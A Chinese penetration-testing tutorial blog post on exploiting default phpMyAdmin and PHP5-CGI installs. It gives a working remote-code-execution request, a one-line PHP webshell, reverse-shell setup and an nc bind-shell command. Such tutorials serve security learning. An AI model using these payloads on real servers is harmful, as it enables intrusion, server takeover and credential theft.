您的位置:首页 > 编程语言 > PHP开发

小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

2016-10-21 18:55 567 查看
手动漏洞挖掘
即扫描后,如何对发现的漏洞告警进行验证。

#默认安装

流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行。

漏洞类型--远程命令执行

1、phpMyadmin

安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。

a.探索PHP网站(可根据banner等信息判断)的phpmyadmin目录是否可以访问(扫描工具/手动爬网)

###有账号密码限制,可尝试爆破###



b.尝试../phpMyAdmin/setup目录是否可以访问【可以不需要身份认证的情况下,对服务器进行配置】

###安全最佳实践角度:不允许从公网访问phpMyAdmin目录或禁用访问setup目录



c.早期的phpmyadmin有漏洞【可通过在URL地址编辑或者定制发送的指令,使其执行一个PHP页面】

例如:

POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://input HTTP/1.1
                          #修改服务器中的php.ini文件

Host: 192.168.20.10

<?php 

passthru('id');

die();                                              #后面的指令不执行,可屏蔽服务器返回的html代码等杂信息

?>

#编辑一条配置指令来修改php.ini文件,可编写任何功能的PHP页面【可调用系统功能,passthru()】

#可能运行web服务器进程的用户账号会被限制为www-data之类的普通用户账号,则需经过提权,才能完全控制服务器

Burpsuite重放



#已获得www-data用户权限,可进行ls、cat等操作【pwd:查看当前路径;cat etc/password:查看用户账号】



#搜索PHP文件中是否用硬编码的账号密码



#尝试写入网页木马,控制服务器



注:此漏洞有可能不被扫描器扫出来,可自己手工验证

d.网页木马

kali军火库中可以找到现成的网页木马

静态木马webshell,通过浏览器去访问

例如:echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php【最简单的木马】

“\”防止在上传过程中,变量被过滤



在浏览器中执行命令【注:无法直接访问3.php目录,需加问号再执行】



反弹shell【提交一个请求(包含一个反弹shell)】

#账号一般还是会是普通用户【kali中有各种类型的shell】

root@kali:/usr/share/webshells# ls
asp  aspx  cfm  jsp  perl  php
root@kali:/usr/share/webshells# cd php
root@kali:/usr/share/webshells/php# ls
findsock.c        php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php  php-reverse-shell.php   simple-backdoor.php
root@kali:/usr/share/webshells/php# cp php-reverse-shell.php /root/3.php
root@kali:/usr/share/webshells/php#
#修改shell中反弹连接的IP



#使用nc侦听反弹端口1234【nc终端无法使用tab键】



#将shell代码复制粘贴进POST,go发送【此方法相对隐蔽,不易发现】











############################################################################

当一些命令如ifconfig无法使用时



#################################################################################

2、CGI模块【Ubuntu / Debian 默认安装PHP5-CGI】

#可直接访问/cgi-bin/php5和/cgi-bin/php(这两个目录大部分无法爬取)#因为其不在/var/www目录下

#定制编码shellcode





#使服务器打开一个端口,然后再使用nc去连接获得shell

<?php

echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe');

?>

#若有防火墙,需确定防火墙允许通过
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息